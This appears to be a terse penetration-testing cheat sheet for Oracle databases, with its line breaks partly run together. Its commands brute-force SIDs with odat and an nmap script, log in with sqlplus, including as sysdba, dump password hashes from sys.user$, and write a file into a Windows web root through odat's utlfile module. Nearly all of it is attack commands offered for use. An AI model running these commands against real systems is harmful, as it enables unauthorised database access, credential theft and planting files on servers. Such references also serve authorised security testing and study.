Creds#
odat all -s $targetSID#
nmap -p 1521 -sV $target --open --script oracle-sid-bruteConnect#
Before that:
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfigsqlplus <user>/<pass>@$target/<SID>If user is db admin
sqlplus <user>/<pass>@$target/<SID> as sysdbaHash#
SQL> select name, password from sys.user$;Drop a file on target#
odat utlfile -s $target -d <SID> -U <user> -P <pass> --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt